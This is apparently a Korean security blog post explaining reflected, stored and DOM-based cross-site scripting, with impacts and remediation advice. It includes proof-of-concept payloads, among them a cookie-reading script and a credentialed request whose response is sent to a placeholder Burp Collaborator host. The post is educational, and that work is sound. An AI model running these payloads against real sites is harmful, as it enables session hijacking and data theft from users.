Cross Site Scripting (XSS)

Table of Contents

  1. Cross Site Scripting (XSS)
    1. Reflected XSS (반사형)
    2. Stored XSS (저장형)
    3. DOM-based XSS (DOM 기반형)
    4. XSS Impact
    5. XSS Attack Chain
    6. Remediation

XSS는 웹사이트에 악성 스크립트 <script> 태그나 HTML의 on 태그 속성을 이용해서 클라이언트 측 브라우저에서 실행되도록 하는 공격입니다.

XSS의 공격은 크게 3가지 유형으로 나뉩니다.

Reflected XSS (반사형)

  • 악성스크립트가 포함된 URL을 Victim에게 보내는 형식으로 이루어집니다.

Proof of Concept

https://<website>?url=<script>alert("XSS")</script> 
  • Victim이 해당 URL을 클릭하면, 서버에서 해당 악성 스크립트를 Victim의 브라우저로 “반사 (Reflect)” 해서 보냅니다.
  • 브라우저는 해당 스크립트를 신뢰하는 웹사이트에서 온것으로 간주하고 실행합니다.

Stored XSS (저장형)

  • 악성 스크립트를 게시판, 댓글, 포럼 등 웹 서버의 데이터베이스에 저장하는것을 의미합니다.
  • 다른 사용자가 해당 페이지에 접속하면, 서버에 저장된 스크립트가 해당 사용자 브라우저에서 실행이 됩니다.
  • Reflected XSS와 다르게 특정 URL을 클릭할 필요 없이 불특정 다수에게 피해를 줄 수 있습니다.

DOM-based XSS (DOM 기반형)

  • 서버를 거치지 않고 사용자 브라우저의 Document Object Model (DOM) 환경에서 공격이 이루어 집니다.
  • 주로 자바스크립트를 이용해 HTML 페이지를 조작하는 방식으로 작동합니다

Proof of Concept

https://<website>/#javascript:alert("XSS") 
  • URL의 매개변수 값 등을 조작해 스크립트를 실행시킵니다.

많은분들이 “Reflected XSS” 와 혼동을 하시는 분들이 많습니다. 두 종류의 차이점은 악성 스크립트가 주입되는 시점에서 찾을수 있습니다.

  1. DOM-based XSS 공격은 네트워크에서 서버에게 별도 요청없이 URL 주소 해시에 심은 악성 스크립트가 실행이 됩니다.
  2. Reflected XSS 공격은 악성 스크립트가 일단 서버에 전달이 되어야합니다.

XSS Impact

  • 사용자 권한을 탈취할 수 있습니다. (Impersonate User).
  • 사용자 데이터를 읽거나 쓸수 있습니다. (Read and Write data that user is accessible).
  • 사용자의 로그인 계정을 탈취할 수 있습니다. (Capture Login creds).
  • 악성코드 삽입 (Inject Trojan).
  • 웹사이트 UI변경 (Virtual Defacement).

XSS Attack Chain

  • Steal Cookie (쿠키를 탈취할 수 있습니다)

Proof of Concept

쿠키를 팝업창에 띄우기

https://<website>?url=<script>alert(document.cookie)</script> 

Proof of Concept

쿠키를 Burp Collaborator (Attacker 서버로 보낼때)

https://<website>?url=[The script under] 

[The script under]:

<script>
  var xhr = new XMLHttpRequest();
  var url = 'VICTIM URL'
  xhr.onreadystatechange = function() {
      if (xhr.readyState == XMLHttpRequest.DONE) {
          fetch('https://BURPCOLLABORATOR/' + xhr.responseText)
      }
  }
  xhr.open('GET', url, true);
  xhr.withCredentials = true;
  xhr.send(null);
</script>
  • Capture Password (로그인 크레덴셜 탈취)
  • Bypass CSRFToken (CSRF 토큰을 우회할 수 있습니다)

Remediation

  • 입력값 검증: 사용자로부터 입력받는 모든 데이터에 대해 < > " ' & javascript on 같은 특수문자나 스크립트를 필터링 또는 이스케이핑 처리를 해야 됩니다. Whitelist 방식을 쓰는것이 가장 바람직 합니다.
  • 출력 인코딩: 서버에서 브라우저로 데이터를 보낼 때, 스크립트가 실행되지 않도록 HTML Entity로 변환해야 합니다.
  • 보안 헤더 설정 (CSP): Content-Security-Policy (CSP) 같은 보안 정책을 사용해 어떤 스크립트를 실행할지 미리 정의합니다.

Back to top

Copyright © 2025 Amer1can0 본 블로그는 보안 관련 정보를 공유하는 것을 목적으로 합니다. 블로그에 게시된 내용을 악의적인 목적으로 사용하거나 타인에게 피해를 주는 행위는 엄격히 금지 됩니다. 이러한 모든 불법적 행위 및 그로 인해 발생하는 모든 책임은 전적으로 행위자 본인에게 있습니다. 블로그 운영자는 어떠한 책임도 지지 않음을 알려드립니다.